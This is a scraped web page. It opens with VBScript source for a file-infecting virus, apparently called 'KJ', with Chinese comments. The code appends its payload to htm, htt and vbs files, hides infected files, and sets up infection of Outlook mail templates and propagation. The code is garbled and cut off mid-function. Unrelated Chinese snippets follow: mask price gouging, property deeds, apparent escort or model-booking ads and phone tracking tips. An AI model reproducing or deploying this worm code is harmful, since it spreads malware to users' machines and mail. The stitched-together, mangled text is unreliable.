<%
DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
SubKJ_start()
'初始化变量
K *** etDim()
'初始化环境
KJCreateMilieu()
'感染本地或者共享上与html所在目录
KJLikeIt()
'通过vbs感染Outlook邮件模板
KJCreateMail()
'进行病毒传播
KJPropagate()
EndSub
'函数:KJAppendTo(FilePath,TypeStr)
'功能:向指定类型的指定文件追加病毒
'参数:
'FilePath指定文件路径
'TypeStr指定类型
FunctionKJAppendTo(FilePath,TypeStr)
OnErrorResumeNext
'以只读方式打开指定文件
SetReadTemp=FSO.OpenTextFile(FilePath,1)
'将文件内容读入到TmpStr变量中
TmpStr=ReadTemp.ReadAll
'判断文件中是否存在KJ_start()字符串,若存在说明已经感染,退出函数;
'若文件长度小于1,也退出函数。
IfInStr(TmpStr,KJ_start())<>0OrLen(TmpStr)<1Then
ReadTemp.Close
ExitFunction
EndIf
'如果传过来的类型是htt
'在文件头加上调用页面的时候加载KJ_start()函数;
'在文件尾追加html版本的加密病毒体。
'如果是html
'在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
'如果是vbs
'在文件尾追加vbs版本的病毒体
IfTypeStr=httThen
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,2)
FileTemp.Write<&BODYonload=
&vbscript:&KJ_start()&>&vbCrLf&TmpStr&vbCrLf&HtmlText
FileTemp.Close
SetFAttrib=FSO.GetFile(FilePath)
FAttrib.Attributes=34
Else
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,8)
IfTypeStr=htmlThen
FileTemp.WritevbCrLf&<&HTML>&vbCrLf&<
&BODYonload=&vbscript:&KJ_start()&>&vbCrLf&HtmlText
ElseIfTypeStr=vbsThen
FileTemp.WritevbCrLf&VbsText
EndIf
FileTemp.Close
EndIf
EndFunction
'函数:KJChangeSub(CurrentString,LastIndexChar)
'功能:改变子目录以及盘符
'参数:
'CurrentString当前目录
'LastIndexChar上一级目录在当前路径中的位置
FunctionKJChangeSub(CurrentString,LastIndexChar)
'判断是否是根目录
IfLastIndexChar=0Then
'如果是根目录
'如果是C:\,返回FinalyDisk盘,并将SubE置为0,
'如果不是C:\,返回将当前盘符递减1,并将SubE置为0
IfLeft(LCase(CurrentString),1)=
KJChangeSub=FinalyDisk&:\
面对新型冠状病毒疫情,用于防范的口罩一时间成为热销产品。但与此同时,多家电商平台出现脱销,还有不少商家故意推高口罩价格,借机牟取暴利…… 1月22日上午,记者发现多名网友反映部分商家哄抬口罩物价,口...
相信现在有很多的朋友们对于买房需要多长时间房产证才能够办下来都想要了解吧,那么今天小编就来给大家针对买房需要多长时间房产证才能够办下来进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 根据《商品...
成都模特经纪人推荐预约上海兼职女学妹【陈贞】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄哈尔滨 女 31,婚姻:未婚,学历:高中,气质:成都模特经纪人推荐...
真的很奇葩,今天无意看到有网友聊天料到昆明学院,他们学校开了个淘宝店铺,在淘宝上卖起学生来,价格都是标记1000,表面上看,上面的漂亮妹纸非常受关注。 事情是这样的,这两天有很多人在关注昆明学院...
手机定Wei偶然候很有效,好比APP打车、找亲朋等,辣么,手机是奈何定Wei他人的呢?究竟上,除了少许打车APP能够最利便地定Wei外,咱们还能够放松地经历QQ或微信举行及时点位定Wei。底下我要紧共...
以苹果11为事例,系统版本为iOS14.1,微信APP版本信息为v7.0.19,微信护眼设置关闭的设置方法下列: 1、最开始在手机主界面上,点一下功能键; 2、随后在设置网页页面,点一...